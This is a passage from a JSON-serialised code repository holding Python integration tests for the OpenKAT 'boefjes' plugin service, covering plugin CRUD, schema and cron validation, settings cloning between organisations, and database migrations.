json=boefje.model_dump(mode=\"json\"))\n    assert response.status_code == 201\n\n    response = test_client.get(f\"/v1/organisations/{organisation.id}/plugins/test_run_on\")\n    assert response.json()[\"enabled\"] is False\n    assert response.json()[\"run_on\"] == [x.value for x in boefje.run_on]\n\n\ndef test_cannot_add_static_plugin_with_duplicate_name(test_client, organisation):\n    boefje = Boefje(id=\"test_plugin\", name=\"DNS records\", static=False)\n    response = test_client.post(f\"/v1/organisations/{organisation.id}/plugins\", json=boefje.model_dump(mode=\"json\"))\n    assert response.status_code == 400\n\n    boefje = Boefje(id=\"test_plugin\", name=\"DNS records\", static=False)\n    response = test_client.post(f\"/v1/organisations/{organisation.id}/plugins\", json=boefje.model_dump(mode=\"json\"))\n    assert response.status_code == 400\n    assert response.json() == {\"detail\": \"Duplicate plugin: a plugin with this name already exists\"}\n\n\ndef test_cannot_add_plugin_with_duplicate_name(test_client, organisation):\n    boefje = Boefje(id=\"test_plugin\", name=\"My test boefje\", static=False)\n    response = test_client.post(f\"/v1/organisations/{organisation.id}/plugins\", json=boefje.model_dump(mode=\"json\"))\n    assert response.status_code == 201\n\n    boefje = Boefje(id=\"test_plugin_2\", name=\"My test boefje\", static=False)\n    response = test_client.post(f\"/v1/organisations/{organisation.id}/plugins\", json=boefje.model_dump(mode=\"json\"))\n    assert response.status_code == 400\n    assert response.json() == {\"detail\": \"Duplicate plugin: a plugin with this name already exists\"}\n\n    normalizer = Normalizer(id=\"test_normalizer\", name=\"My test normalizer\", static=False)\n    response = test_client.post(f\"/v1/organisations/{organisation.id}/plugins\", json=normalizer.model_dump(mode=\"json\"))\n    assert response.status_code == 201\n\n    normalizer = Normalizer(id=\"test_normalizer_2\", name=\"My test normalizer\", static=False)\n    response = test_client.post(f\"/v1/organisations/{organisation.id}/plugins\", json=normalizer.model_dump(mode=\"json\"))\n    assert response.status_code == 400\n\n\ndef test_delete_boefje(test_client, organisation):\n    boefje = Boefje(id=\"test_plugin\", name=\"My test boefje\", static=False)\n    response = test_client.post(f\"/v1/organisations/{organisation.id}/plugins\", json=boefje.model_dump(mode=\"json\"))\n    assert response.status_code == 201\n\n    response = test_client.delete(f\"/v1/organisations/{organisation.id}/boefjes/test_plugin\")\n    assert response.status_code == 204\n    response = test_client.get(f\"/v1/organisations/{organisation.id}/plugins/test_plugin\")\n    assert response.status_code == 404\n\n\ndef test_add_normalizer(test_client, organisation):\n    normalizer = Normalizer(id=\"test_normalizer\", name=\"My test normalizer\", static=False)\n    response = test_client.post(f\"/v1/organisations/{organisation.id}/plugins\", json=normalizer.model_dump(mode=\"json\"))\n    assert response.status_code == 201\n\n    response = test_client.get(f\"/v1/organisations/{organisation.id}/plugins/?plugin_type=normalizer\")\n    assert len(response.json()) == 58\n\n    response = test_client.get(f\"/v1/organisations/{organisation.id}/plugins/test_normalizer\")\n    assert response.json() == normalizer.model_dump(mode=\"json\")\n\n\ndef test_delete_normalizer(test_client, organisation):\n    normalizer = Normalizer(id=\"test_normalizer\", name=\"My test normalizer\", static=False)\n    response = test_client.post(f\"/v1/organisations/{organisation.id}/plugins\", json=normalizer.model_dump(mode=\"json\"))\n    assert response.status_code == 201\n\n    response = test_client.delete(f\"/v1/organisations/{organisation.id}/normalizers/test_normalizer\")\n    assert response.status_code == 204\n    response = test_client.get(f\"/v1/organisations/{organisation.id}/plugins/test_normalizer\")\n    assert response.status_code == 404\n\n\ndef test_update_plugins(test_client, organisation, second_organisation):\n    normalizer = Normalizer(id=\"norm_id\", name=\"My test normalizer\")\n    boefje = Boefje(id=\"test_plugin\", name=\"My test boefje\", description=\"123\", interval=20)\n\n    test_client.post(f\"/v1/organisations/{organisation.id}/plugins\", json=boefje.model_dump(mode=\"json\"))\n    test_client.patch(f\"/v1/organisations/{organisation.id}/plugins/{boefje.id}\", json={\"enabled\": True})\n    test_client.patch(f\"/v1/organisations/{organisation.id}/boefjes/{boefje.id}\", json={\"scan_level\": 3})\n    test_client.patch(f\"/v1/organisations/{organisation.id}/boefjes/{boefje.id}\", json={\"description\": \"4\"})\n    test_client.patch(f\"/v1/organisations/{organisation.id}/boefjes/{boefje.id}\", json={\"cron\": \"5 0 * 8 *\"})\n\n    response = test_client.get(f\"/v1/organisations/{organisation.id}/plugins/{boefje.id}\")\n    assert response.json()[\"description\"] == \"4\"\n    assert response.json()[\"scan_level\"] == 3\n    assert response.json()[\"enabled\"] is True\n    assert response.json()[\"scan_level\"] == 3\n    assert response.json()[\"interval\"] == 20\n    assert response.json()[\"cron\"] == \"5 0 * 8 *\"\n\n    test_client.post(f\"/v1/organisations/{organisation.id}/plugins\", json=normalizer.model_dump(mode=\"json\"))\n    test_client.patch(f\"/v1/organisations/{organisation.id}/normalizers/{normalizer.id}\", json={\"version\": \"v1.2\"})\n\n    response = test_client.get(f\"/v1/organisations/{organisation.id}/plugins/{normalizer.id}\")\n    assert response.json()[\"version\"] == \"v1.2\"\n\n\ndef test_cannot_create_boefje_with_invalid_schema(test_client, organisation):\n    boefje = Boefje(id=\"test_plugin\", name=\"My test boefje\", description=\"123\").model_dump(mode=\"json\")\n    boefje[\"boefje_schema\"] = {\"$schema\": 3}\n\n    r = test_client.post(f\"/v1/organisations/{organisation.id}/plugins\", json=boefje)\n    assert r.status_code == 422\n\n\ndef test_schema_is_taken_from_disk(test_client, organisation, session):\n    # creates a database record of dns-records\n    test_client.patch(f\"/v1/organisations/{organisation.id}/plugins/dns-records\", json={\"enabled\": True})\n    session.execute(\"UPDATE boefje set schema = null where plugin_id = 'dns-records'\")\n    session.commit()\n\n    response = test_client.get(f\"/v1/organisations/{organisation.id}/plugins/dns-records\").json()\n    assert response[\"boefje_schema\"] is not None\n\n\ndef test_cannot_set_invalid_cron(test_client, organisation):\n    boefje = Boefje(id=\"test_plugin\", name=\"My test boefje\", description=\"123\").model_dump(mode=\"json\")\n    boefje[\"cron\"] = \"bad format\"\n\n    res = test_client.post(f\"/v1/organisations/{organisation.id}/plugins\", json=boefje)\n    assert res.status_code == 422\n\n    boefje = Boefje(id=\"test_plugin\", name=\"My test boefje\")\n    test_client.post(f\"/v1/organisations/{organisation.id}/plugins\", json=boefje.model_dump(mode=\"json\"))\n    res = test_client.patch(f\"/v1/organisations/{organisation.id}/boefjes/{boefje.id}\", json={\"cron\": \"bad format\"})\n    assert res.status_code == 422\n\n\ndef test_update_boefje_schema(test_client, organisation):\n    boefje = Boefje(id=\"test_plugin\", name=\"My test boefje\", description=\"123\")\n    test_client.post(f\"/v1/organisations/{organisation.id}/plugins\", json=boefje.model_dump(mode=\"json\"))\n\n    r = test_client.patch(\n        f\"/v1/organisations/{organisation.id}/boefjes/{boefje.id}\", json={\"boefje_schema\": {\"$schema\": 3}}\n    )\n    assert r.status_code == 422\n\n    valid_schema = {\n        \"title\": \"Arguments\",\n        \"type\": \"object\",\n        \"properties\": {\"MY_KEY\": {\"title\": \"MY_KEY\", \"type\": \"integer\"}},\n        \"required\": [],\n    }\n    r = test_client.patch(\n        f\"/v1/organisations/{organisation.id}/boefjes/{boefje.id}\", json={\"boefje_schema\": valid_schema}\n    )\n    assert r.status_code == 204\n\n    schema = test_client.get(f\"/v1/organisations/{organisation.id}/plugins/{boefje.id}/schema.json\").json()\n    assert schema == valid_schema\n\n    api_boefje = test_client.get(f\"/v1/organisations/{organisation.id}/plugins/{boefje.id}\").json()\n    assert api_boefje[\"boefje_schema\"] == valid_schema\n\n    r = test_client.patch(\n        f\"/v1/organisations/{organisation.id}/boefjes/dns-records\", json={\"boefje_schema\": valid_schema}\n    )\n    assert r.status_code == 404\n\n\ndef test_cannot_update_static_plugins(test_client, organisation):\n    r = test_client.patch(f\"/v1/organisations/{organisation.id}/boefjes/dns-records\", json={\"id\": \"4\", \"version\": \"s\"})\n    assert r.status_code == 404\n    r = test_client.patch(f\"/v1/organisations/{organisation.id}/boefjes/dns-records\", json={\"name\": \"Overwrite name\"})\n    assert r.status_code == 404\n\n    response = test_client.get(f\"/v1/organisations/{organisation.id}/plugins/dns-records\")\n    assert response.json()[\"name\"] == \"DNS records\"\n    assert response.json()[\"version\"] is None\n    assert response.json()[\"id\"] == \"dns-records\"\n\n    test_client.patch(f\"/v1/organisations/{organisation.id}/plugins/dns-records\", json={\"enabled\": True})\n    response = test_client.get(f\"/v1/organisations/{organisation.id}/plugins/dns-records\")\n    assert response.json()[\"enabled\"] is True\n\n    response = test_client.patch(f\"/v1/organisations/{organisation.id}/boefjes/dns-records\", json={\"version\": \"v1.2\"})\n    assert response.status_code == 403\n\n    response = test_client.get(f\"/v1/organisations/{organisation.id}/plugins/dns-records\")\n    assert response.json()[\"version\"] != \"v1.2\"\n\n\ndef test_basic_settings_api(test_client, organisation):\n    plug = \"dns-records\"\n\n    test_client.put(f\"/v1/organisations/{organisation.id}/{plug}/settings\", json={\"new\": \"settings\", \"with integer\": 5})\n    response = test_client.get(f\"/v1/organisations/{organisation.id}/{plug}/settings\")\n    assert response.json() == {\"new\": \"settings\", \"with integer\": 5}\n\n    test_client.put(f\"/v1/organisations/{organisation.id}/{plug}/settings\", json={\"with integer\": 8})\n    response = test_client.get(f\"/v1/organisations/{organisation.id}/{plug}/settings\")\n    assert response.json() == {\"with integer\": 8}\n\n    test_client.delete(f\"/v1/organisations/{organisation.id}/{plug}/settings\")\n    response = test_client.get(f\"/v1/organisations/{organisation.id}/{plug}/settings\")\n    assert response.json() == {}\n\n    nmap_ports = \"nmap-ports\"\n    response = test_client.put(f\"/v1/organisations/{organisation.id}/{nmap_ports}/settings\", json={\"PORTS\": \"80\"})\n    assert response.status_code == 200\n    assert test_client.get(f\"/v1/organisations/{organisation.id}/{nmap_ports}/settings\").json() == {\"PORTS\": \"80\"}\n\n\ndef test_clone_settings_and_config_api_shows_both(test_client, organisation):\n    plug = \"dns-records\"\n\n    # Set a setting on the first organisation and enable dns-records\n    test_client.put(\n        f\"/v1/organisations/{organisation.id}/{plug}/settings\",\n        json={\"test_key\": \"test value\", \"test_key_2\": \"test value 2\"},\n    )\n    test_client.patch(f\"/v1/organisations/{organisation.id}/plugins/{plug}\", json={\"enabled\": True})\n    test_client.patch(f\"/v1/organisations/{organisation.id}/plugins/kat_dns_normalize\", json={\"enabled\": False})\n\n    assert test_client.get(f\"/v1/organisations/{organisation.id}/{plug}/settings\").json() == {\n        \"test_key\": \"test value\",\n        \"test_key_2\": \"test value 2\",\n    }\n    assert test_client.get(f\"/v1/organisations/{organisation.id}/plugins/{plug}\").json()[\"enabled\"] is True\n\n    # Add the second organisation\n    new_org_id = \"org2\"\n    org2 = Organisation(id=new_org_id, name=\"Second test Organisation\")\n    test_client.post(\"/v1/organisations/\", json=org2.model_dump(mode=\"json\"))\n    test_client.put(f\"/v1/organisations/{new_org_id}/{plug}/settings\", json={\"test_key\": \"second value\"})\n\n    # Show that the second organisation has no settings and dns-records is not enabled\n    assert test_client.get(f\"/v1/organisations/{new_org_id}/{plug}/settings\").json() == {\"test_key\": \"second value\"}\n    assert test_client.get(f\"/v1/organisations/{new_org_id}/plugins/{plug}\").json()[\"enabled\"] is False\n\n    # Enable two boefjes that should get disabled by the cloning\n    test_client.patch(f\"/v1/organisations/{new_org_id}/plugins/nmap\", json={\"enabled\": True})\n    assert test_client.get(f\"/v1/organisations/{new_org_id}/plugins/nmap\").json()[\"enabled\"] is True\n\n    # Call the clone endpoint\n    test_client.post(f\"/v1/organisations/{organisation.id}/settings/clone/{new_org_id}\")\n\n    # Verify that all settings are copied\n    response = test_client.get(f\"/v1/organisations/{new_org_id}/{plug}/settings\")\n    assert response.json() == {\"test_key\": \"test value\", \"test_key_2\": \"test value 2\"}\n\n    # And that the enabled boefje from the original organisation got enabled\n    response = test_client.get(f\"/v1/organisations/{new_org_id}/plugins/{plug}\")\n    assert response.json()[\"enabled\"] is True\n\n    # And the originally enabled boefje got disabled\n    response = test_client.get(f\"/v1/organisations/{new_org_id}/plugins/nmap\")\n    assert response.json()[\"enabled\"] is False\n\n    # And the originally disabled normalizer got disabled\n    response = test_client.get(f\"/v1/organisations/{new_org_id}/plugins/kat_dns_normalize\")\n    assert response.json()[\"enabled\"] is False\n\n    # Assert we can fetch the settings with the new configs API\n    expected = [\n        {\n            \"boefje_id\": \"dns-records\",\n            \"enabled\": True,\n            \"id\": 8,\n            \"organisation_id\": \"test\",\n            \"settings\": {\"test_key\": \"test value\", \"test_key_2\": \"test value 2\"},\n            \"duplicates\": [],\n        },\n        {\"boefje_id\": \"nmap\", \"enabled\": False, \"id\": 10, \"organisation_id\": \"org2\", \"settings\": {}, \"duplicates\": []},\n        {\n            \"boefje_id\": \"dns-records\",\n            \"enabled\": True,\n            \"id\": 9,\n            \"organisation_id\": \"org2\",\n            \"settings\": {\"test_key\": \"test value\", \"test_key_2\": \"test value 2\"},\n            \"duplicates\": [],\n        },\n    ]\n    assert test_client.get(\"/v1/configs\").json() == expected\n    assert test_client.get(\"/v1/configs\", params={\"limit\": \"2\"}).json() == [expected[0], expected[1]]\n    assert test_client.get(\"/v1/configs\", params={\"organisation_id\": \"test\"}).json() == [expected[0]]\n    assert test_client.get(\"/v1/configs\", params={\"organisation_id\": \"org2\"}).json() == [expected[2], expected[1]]\n    assert test_client.get(\"/v1/configs\", params={\"organisation_id\": \"org2\", \"boefje_id\": \"nmap\"}).json() == [\n        expected[1]\n    ]\n    assert test_client.get(\"/v1/configs\", params={\"boefje_id\": \"dns-records\"}).json() == [expected[0], expected[2]]\n    assert test_client.get(\"/v1/configs\", params={\"enabled\": True}).json() == [expected[0], expected[2]]\n\n    expected_with_duplicates = [\n        {\n            \"boefje_id\": \"dns-records\",\n            \"enabled\": True,\n            \"id\": 8,\n            \"organisation_id\": \"test\",\n            \"settings\": {\"test_key\": \"test value\", \"test_key_2\": \"test value 2\"},\n            \"duplicates\": [expected[2]],\n        },\n        {\n            \"boefje_id\": \"dns-records\",\n            \"enabled\": True,\n            \"id\": 9,\n            \"organisation_id\": \"org2\",\n            \"settings\": {\"test_key\": \"test value\", \"test_key_2\": \"test value 2\"},\n            \"duplicates\": [expected[0]],\n        },\n    ]\n    assert test_client.get(\n        \"/v1/configs\", params={\"boefje_id\": \"dns-records\", \"organisation_id\": \"test\", \"with_duplicates\": True}\n    ).json() == [expected_with_duplicates[0]]\n\n    assert test_client.get(\n        \"/v1/configs\", params={\"boefje_id\": \"dns-records\", \"organisation_id\": \"org2\", \"with_duplicates\": True}\n    ).json() == [expected_with_duplicates[1]]\n\n    org2.deduplicate = False\n    test_client.put(\"/v1/organisations/\", json=org2.model_dump(mode=\"json\"))\n    assert test_client.get(f\"/v1/organisations/{org2.id}\").json()[\"deduplicate\"] is False\n\n    assert test_client.get(\n        \"/v1/configs\", params={\"boefje_id\": \"dns-records\", \"organisation_id\": \"test\", \"with_duplicates\": True}\n    ).json() == [expected[0]]\n"
  },
  {
    "path": "boefjes/tests/integration/test_bench.py",
    "content": "import json\nimport uuid\nfrom pathlib import Path\n\nimport pytest\nfrom tools.upgrade_v1_17_0 import upgrade\n\nfrom boefjes.clients.bytes_client import BytesAPIClient\nfrom boefjes.config import BASE_DIR\nfrom boefjes.sql.organisation_storage import SQLOrganisationStorage\nfrom boefjes.worker.models import Organisation\nfrom octopoes.connector.octopoes import OctopoesAPIConnector\nfrom octopoes.models import Reference\nfrom octopoes.models.origin import OriginType\nfrom tests.conftest import seed_system\nfrom tests.loading import get_boefje_meta, get_normalizer_meta\n\n\n@pytest.mark.skipif(\"not os.getenv('DATABASE_MIGRATION')\")\n@pytest.mark.slow\ndef test_migration(\n    octopoes_api_connector: OctopoesAPIConnector,\n    bytes_client: BytesAPIClient,\n    organisation_storage: SQLOrganisationStorage,\n    valid_time,\n):\n    octopoes_api_connector.session._timeout.connect = 60\n    octopoes_api_connector.session._timeout.read = 60\n\n    # Create an organisation that does not exist in Octopoes\n    organisation_storage.create(Organisation(id=\"test2\", name=\"Test 2\"))\n\n    iterations = 30\n    cache_path = Path(BASE_DIR.parent / \".ci\" / f\".cache_{iterations}.json\")\n    hostname_range = range(0, iterations)\n\n    if cache_path.exists():\n        export = json.load(cache_path.open())\n        exported = json.dumps(export)\n    else:\n        for x in hostname_range:\n            seed_system(\n                octopoes_api_connector,\n                valid_time,\n                test_hostname=f\"{x}.com\",\n                test_ip=f\"192.0.{x % 7}.{x % 13}\",\n                test_ipv6=f\"{x % 7}e4d:64a2:cb49:bd48:a1ba:def3:d15d:{x % 5}230\",\n                method=\"kat_nmap_normalize\" if x % 3 == 0 else \"kat_dns_normalize\",  # 30% of the origins need Bytes\n            )\n\n        export = []\n\n        # Drop the source method field to test the migration\n        for tx in octopoes_api_connector.export_all():\n            if \"txOps\" in tx:\n                ops = []\n                for tx_op in tx[\"txOps\"]:\n                    if \"source_method\" in tx_op[1]:\n                        del tx_op[1][\"source_method\"]\n\n                    ops.append(tx_op)\n\n                tx[\"txOps\"] = ops\n\n            export.append(tx)\n\n        exported = json.dumps(export)\n        cache_path.write_text(exported)\n\n    octopoes_api_connector.import_new(exported)\n\n    raw = b\"1234567890\"\n    bytes_client.login()\n\n    for method in [\"kat_nmap_normalize\", \"kat_dns_normalize\"]:\n        for origin in octopoes_api_connector.list_origins(\n            valid_time, method=method, origin_type=OriginType.OBSERVATION\n        ):\n            boefje_id = \"boefje_\" + method\n\n            if \"3.com\" in origin.source:  # create one udp scan\n                boefje_id = \"boefje_udp\"\n\n            boefje_meta = get_boefje_meta(uuid.uuid4(), boefje_id=boefje_id)\n            bytes_client.save_boefje_meta(boefje_meta)\n            raw_data_id = bytes_client.save_raw(boefje_meta.id, raw, {})\n\n            normalizer_meta = get_normalizer_meta(boefje_meta, raw_data_id)\n            normalizer_meta.id = origin.task_id\n            normalizer_meta.normalizer.id = method\n\n            bytes_client.save_normalizer_meta(normalizer_meta)\n\n    total_oois = octopoes_api_connector.list_objects(set(), valid_time).count\n    total_processed, total_failed = upgrade(organisation_storage, valid_time)\n\n    assert total_processed == len(hostname_range)\n    assert total_failed == 0\n\n    observation = octopoes_api_connector.list_origins(\n        valid_time, source=Reference.from_str(\"Hostname|test|0.com\"), origin_type=OriginType.OBSERVATION\n    )[0]\n    assert observation.method == \"kat_nmap_normalize\"\n    assert observation.source_method == \"boefje_kat_nmap_normalize\"\n\n    observation = octopoes_api_connector.list_origins(\n        valid_time, source=Reference.from_str(\"Hostname|test|1.com\"), origin_type=OriginType.OBSERVATION\n    )[0]\n    assert observation.method == \"kat_dns_normalize\"\n    assert observation.source_method == \"dns-records\"  # the logic has found the right boefje id\n\n    observation = octopoes_api_connector.list_origins(\n        valid_time, source=Reference.from_str(\"Hostname|test|3.com\"), origin_type=OriginType.OBSERVATION\n    )[0]\n    assert observation.method == \"kat_nmap_normalize\"\n    assert observation.source_method == \"boefje_udp\"\n\n    assert octopoes_api_connector.list_objects(set(), valid_time).count == total_oois\n\n\n@pytest.mark.slow\ndef test_plugins_bench(plugin_service, organisation):\n    plugin_service.get_all(organisation.id)\n"
  },
  {
    "path": "boefjes/tests/integration/test_get_environment.py",
    "content": "import pytest\n\nfrom boefjes.clients.scheduler_client import get_environment_settings\nfrom boefjes.dependencies.plugins import PluginService\nfrom boefjes.worker.models import Organisation\nfrom tests.loading import get_boefje_meta\n\n\n@pytest.mark.skipif(\"os.environ.get('CI') != '1'\")\ndef test_environment_builds_up_correctly(plugin_service: PluginService, organisation: Organisation):\n    plugin_id = \"dns-records\"\n    with plugin_service:\n        schema = plugin_service.schema(plugin_id)\n    environment = get_environment_settings(get_boefje_meta(boefje_id=plugin_id), schema)\n\n    assert environment == {}\n\n    with plugin_service:\n        plugin_service.upsert_settings({\"RECORD_TYPES\": \"CNAME,AAAA\", \"WRONG\": \"3\"}, organisation.id, plugin_id)\n\n    environment = get_environment_settings(get_boefje_meta(boefje_id=plugin_id), schema)\n\n    assert environment == {\"RECORD_TYPES\": \"CNAME,AAAA\"}\n"
  },
  {
    "path": "boefjes/tests/integration/test_json_settings_encryption_migration.py",
    "content": "import os\n\nimport alembic.config\nimport pytest\nfrom sqlalchemy import text\nfrom sqlalchemy.orm import Session, sessionmaker\n\nfrom boefjes.dependencies.encryption import NaclBoxMiddleware\nfrom boefjes.sql.config_storage import create_encrypter\nfrom boefjes.sql.db import SQL_BASE, get_engine\n\npytestmark = pytest.mark.skipif(os.environ.get(\"CI\") != \"1\", reason=\"Needs a CI database.\")\n\n\n@pytest.fixture\ndef migration_197672984df0() -> Session:\n    alembic.config.main(argv=[\"--config\", \"/app/boefjes/boefjes/alembic.ini\", \"upgrade\", \"head\"])\n    # To reset autoincrement ids\n    alembic.config.main(argv=[\"--config\", \"/app/boefjes/boefjes/alembic.ini\", \"downgrade\", \"base\"])\n    # Set state to revision 197672984df0\n    alembic.config.main(argv=[\"--config\", \"/app/boefjes/boefjes/alembic.ini\", \"upgrade\", \"197672984df0\"])\n\n    engine = get_engine()\n    session = sessionmaker(bind=engine)()\n\n    yield session\n    session.commit()\n\n    alembic.config.main(argv=[\"--config\", \"/app/boefjes/boefjes/alembic.ini\", \"upgrade\", \"head\"])\n\n    engine.execute(\";\".join([f\"TRUNCATE TABLE {t} CASCADE\" for t in SQL_BASE.metadata.tables]))\n\n\ndef test_setting_to_settings_json(migration_197672984df0):\n    session = migration_197672984df0\n\n    query = f\"\"\"INSERT INTO organisation (id, name) values {','.join(map(str, [\n        (\"dev1\", \"Test 1 \"),\n         (\"dev2\", \"Test 2 \"),\n          (\"dev3\", \"Test 3 \"),\n    ]))}\"\"\"  # noqa: S608\n    session.get_bind().execute(text(query))\n\n    encrypter = create_encrypter()\n    entries = _collect_entries(encrypter)\n    query = f\"INSERT INTO setting (key, value, organisation_pk, plugin_id) values {','.join(map(str, entries))}\"  # noqa: S608\n    session.get_bind().execute(text(query))\n\n    alembic.config.main(argv=[\"--config\", \"/app/boefjes/boefjes/alembic.ini\", \"upgrade\", \"cd34fdfafdaf\"])\n\n    all_settings = list(session.execute(text(\"select * from settings\")).fetchall())\n    assert {(encrypter.decode(x[1]), x[2], x[3]) for x in all_settings} == {\n        ('{\"key2\": \"val2\"}', \"dns-records\", 2),\n        ('{\"key5\": \"val5\", \"key7\": \"val7\"}', \"nmap\", 1),\n        ('{\"key4\": \"val4\", \"key6\": \"val6\"}', \"nmap\", 2),\n        ('{\"key1\": \"val1\", \"key3\": \"val3\"}', \"dns-records\", 1),\n    }\n\n    session.close()\n    alembic.config.main(argv=[\"--config\", \"/app/boefjes/boefjes/alembic.ini\", \"downgrade\", \"-1\"])\n\n    results = session.execute(text(\"SELECT key, value, organisation_pk, plugin_id FROM setting\")).fetchall()\n    decoded_results = [(x[0], encrypter.decode(x[1]), x[2], x[3]) for x in results]\n    decoded_entries = [(x[0], encrypter.decode(x[1]), x[2], x[3]) for x in entries]  # encoding changes every time.\n\n    assert set(decoded_entries) == set(decoded_results)\n\n\ndef _collect_entries(encrypter: NaclBoxMiddleware):\n    return [\n        (\"key1\", encrypter.encode(\"val1\"), 1, \"dns-records\"),\n        (\"key2\", encrypter.encode(\"val2\"), 2, \"dns-records\"),\n        (\"key3\", encrypter.encode(\"val3\"), 1, \"dns-records\"),\n        (\"key4\", encrypter.encode(\"val4\"), 2, \"nmap\"),\n        (\"key5\", encrypter.encode(\"val5\"), 1, \"nmap\"),\n        (\"key6\", encrypter.encode(\"val6\"), 2, \"nmap\"),\n        (\"key7\", encrypter.encode(\"val7\"), 1, \"nmap\"),\n    ]\n"
  },
  {
    "path": "boefjes/tests/integration/test_migration_add_schema_field.py",
    "content": "import os\n\nimport alembic.config\nimport pytest\nfrom psycopg2.extras import execute_values\nfrom sqlalchemy.orm import Session, sessionmaker\n\nfrom boefjes.sql.db import SQL_BASE, get_engine\n\npytestmark = pytest.mark.skipif(os.environ.get(\"CI\") != \"1\", reason=\"Needs a CI database.\")\n\n\n@pytest.fixture\ndef migration_f9de6eb7824b(local_repository) -> Session:\n    alembic.config.main(argv=[\"--config\", \"/app/boefjes/boefjes/alembic.ini\", \"upgrade\", \"head\"])\n    # To reset autoincrement ids\n    alembic.config.main(argv=[\"--config\", \"/app/boefjes/boefjes/alembic.ini\", \"downgrade\", \"base\"])\n    # Set state to revision f9de6eb7824b\n    alembic.config.main(argv=[\"--config\", \"/app/boefjes/boefjes/alembic.ini\", \"upgrade\", \"f9de6eb7824b\"])\n\n    engine = get_engine()\n    session = sessionmaker(bind=engine)()\n\n    dns_records = local_repository.by_id(\"dns-records\").boefje\n    nmap_udp = local_repository.by_id(\"nmap-udp\").boefje\n    entries = [\n        (\n            boefje.id,\n            boefje.name,\n            boefje.description,\n            str(boefje.scan_level),\n            list(sorted(boefje.consumes)),\n            list(sorted(boefje.produces)),\n            [\"RECORD_TYPES\", \"REMOTE_NS\"],\n            boefje.oci_image,\n            boefje.oci_arguments,\n            boefje.version,\n        )\n        for boefje in [dns_records, nmap_udp]\n    ]\n\n    query = \"\"\"INSERT INTO boefje (plugin_id, name, description, scan_level, consumes, produces, environment_keys,\n            oci_image, oci_arguments, version) values %s\"\"\"\n\n    connection = session.connection()\n    with connection.begin():\n        execute_values(connection.connection.cursor(), query, entries)\n\n    session.commit()\n\n    yield session\n    session.commit()\n\n    alembic.config.main(argv=[\"--config\", \"/app/boefjes/boefjes/alembic.ini\", \"upgrade\", \"head\"])\n\n    engine.execute(\";\".join([f\"TRUNCATE TABLE {t} CASCADE\" for t in SQL_BASE.metadata.tables]))\n\n\ndef test_fail_on_wrong_plugin_ids(migration_f9de6eb7824b):\n    session = migration_f9de6eb7824b\n    assert session.execute(\"SELECT * from boefje\").fetchall() == [\n        (\n            1,\n            \"dns-records\",\n            None,\n            \"DNS records\",\n            \"Fetch the DNS record(s) of a hostname.\",\n            \"1\",\n            [\"Hostname\"],\n            [\"boefje/dns-records\"],\n            [\"RECORD_TYPES\", \"REMOTE_NS\"],\n            \"docker.underdark.nl/librekat/openkat-generic:latest\",\n            [\"kat_dns.main\"],\n            None,\n            False,\n        ),\n        (\n            2,\n            \"nmap-udp\",\n            None,\n            \"Nmap UDP\",\n            \"Defaults to top 250 UDP ports. Includes service detection.\",\n            \"2\",\n            [\"IPAddressV4\", \"IPAddressV6\", \"IPV4NetBlock\", \"IPV6NetBlock\"],\n            [\"boefje/nmap-udp\"],\n            [\"RECORD_TYPES\", \"REMOTE_NS\"],\n            \"docker.underdark.nl/librekat/openkat-nmap:latest\",\n            [\"--open\", \"-T4\", \"-Pn\", \"-r\", \"-v10\", \"-sV\", \"-sU\"],\n            None,\n            False,\n        ),\n    ]\n\n    session.close()\n\n    alembic.config.main(argv=[\"--config\", \"/app/boefjes/boefjes/alembic.ini\", \"upgrade\", \"5be152459a7b\"])\n\n    schema_dns = {\n        \"title\": \"Arguments\",\n        \"type\": \"object\",\n        \"properties\": {\n            \"RECORD_TYPES\": {\n                \"title\": \"RECORD_TYPES\",\n                \"type\": \"string\",\n                \"description\": \"List of comma separated DNS record types to query for.\",\n                \"default\": \"A,AAAA,CAA,CERT,RP,SRV,TXT,MX,NS,CNAME,DNAME\",\n            },\n            \"REMOTE_NS\": {\n                \"title\": \"REMOTE_NS\",\n                \"maxLength\": 45,\n                \"type\": \"string\",\n                \"description\": \"The IP address of the DNS resolver you want to use.\",\n                \"default\": \"1.1.1.1\",\n            },\n        },\n    }\n\n    schema_udp = {\n        \"title\": \"Arguments\",\n        \"type\": \"object\",\n        \"properties\": {\n            \"TOP_PORTS_UDP\": {\n                \"title\": \"TOP_PORTS_UDP\",\n                \"type\": \"integer\",\n                \"minimum\": 0,\n                \"maximum\": 65535,\n                \"default\": 250,\n                \"description\": \"Scan TOP_PORTS_UDP most common UDP ports. Defaults to 250 unless we are scanning a \"\n                \"NetBlock, in which case we default to 10.\",\n            },\n            \"MIN_VLSM_IPV4\": {\n                \"title\": \"MIN_VLSM_IPV4\",\n                \"type\": \"integer\",\n                \"minimum\": 0,\n                \"maximum\": 32,\n                \"default\": 22,\n                \"description\": \"Minimum variable-length subnet mask for IPv4-ranges. Defaults to 22. Use this value to\"\n                \" prevent scanning large ranges.\",\n            },\n            \"MIN_VLSM_IPV6\": {\n                \"title\": \"MIN_VLSM_IPV6\",\n                \"type\": \"integer\",\n                \"minimum\": 0,\n                \"maximum\": 128,\n                \"default\": 118,\n                \"description\": \"Minimum variable-length subnet mask for IPv6-ranges. Defaults to 118. Use this value to\"\n                \" prevent scanning large ranges.\",\n            },\n        },\n        \"required\": [],\n    }\n\n    assert session.execute(\"SELECT * from boefje\").fetchall() == [\n        (\n            1,\n            \"dns-records\",\n            None,\n            \"DNS records\",\n            \"Fetch the DNS record(s) of a hostname.\",\n            \"1\",\n            [\"Hostname\"],\n            [\"boefje/dns-records\"],\n            [\"RECORD_TYPES\", \"REMOTE_NS\"],\n            \"docker.underdark.nl/librekat/openkat-generic:latest\",\n            [\"kat_dns.main\"],\n            None,\n            False,\n            schema_dns,\n        ),\n        (\n            2,\n            \"nmap-udp\",\n            None,\n            \"Nmap UDP\",\n            \"Defaults to top 250 UDP ports. Includes service detection.\",\n            \"2\",\n            [\"IPAddressV4\", \"IPAddressV6\", \"IPV4NetBlock\", \"IPV6NetBlock\"],\n            [\"boefje/nmap-udp\"],\n            [\"RECORD_TYPES\", \"REMOTE_NS\"],\n            \"docker.underdark.nl/librekat/openkat-nmap:latest\",\n            [\"--open\", \"-T4\", \"-Pn\", \"-r\", \"-v10\", \"-sV\", \"-sU\"],\n            None,\n            False,\n            schema_udp,\n        ),\n    ]\n"
  },
  {
    "path": "boefjes/tests/integration/test_remove_repository_migration.py",
